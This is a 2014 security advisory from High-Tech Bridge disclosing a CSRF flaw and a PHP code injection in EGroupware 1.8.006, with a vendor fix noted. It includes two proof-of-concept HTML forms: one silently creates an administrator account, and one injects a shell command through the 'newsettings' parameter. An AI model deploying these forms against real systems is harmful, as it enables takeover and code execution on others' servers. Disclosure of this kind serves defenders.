Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

CSRF and Remote Code Execution in EGroupware

Advisory ID:HTB23212
Vulnerable Versions:1.8.006 community edition and probably prior
Tested Version:1.8.006 community edition
Advisory Publication:April 23, 2014 [without technical details]
Vendor Notification:April 23, 2014
Vendor Fix:May 6, 2014
Public Disclosure:May 14, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Code Injection [CWE-94]
CVE References:CVE-2014-2987
Risk Level:High
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.

1) Сross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit.
Simple CSRF exploit below creates new administrator with login "immuniweb" and password "immuniweb":
<form action="http://[host]/index.php?menuaction=admin.uiaccounts.add_user" method="post" name="main">
<input type="hidden" name="account_lid" value="immuniweb">
<input type="hidden" name="account_status" value="A">
<input type="hidden" name="account_firstname" value="firstname">
<input type="hidden" name="account_lastname" value="lastname">
<input type="hidden" name="account_passwd" value="immuniweb">
<input type="hidden" name="account_passwd_2" value="immuniweb">
<input type="hidden" name="changepassword" value="1">
<input type="hidden" name="expires" value="2014/04/29">
<input type="hidden" name="never_expires" value="True">
<input type="hidden" name="account_email" value="">
<input type="hidden" name="account_groups[]" value="-2">
<input type="hidden" name="account_primary_group" value="-2">
<input type="hidden" name="submit" value="Add">
<input type="submit" id="btn">

2) Code Injection in EGroupware: CVE-2014-2988

The vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST "newsettings" parameter to PHP function "call_user_func()". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver.

This vulnerability can be exploited in pair with the above-described CSRF vulnerability.
The following exploitation example writes "immuniweb" word into file "/1.php":
<form action="http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpb rain" method="post" name="main">
<input type="hidden" name="newsettings[system]" value="echo immuniweb>1.php">
<input type="hidden" name="submit" value="Save">
<input type="submit" id="btn">

ImmuniWeb® On-Demand Web Application Penetration Test

Update to EGroupware version 1.8.007

More Information:

[1] High-Tech Bridge Advisory HTB23212 - - CSRF and Remote Code Execution in EGroupware.
[2] EGroupware - - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[6] Free SSL/TLS Server test - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.
User Comments and Opinions
Add Comment
1 responses to "CSRF and Remote Code Execution in EGroupware"
Maxim 2014-05-17 23:37:20 UTC Comment this
Great combination of CSRF & RCE!
↑ Back to Top

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.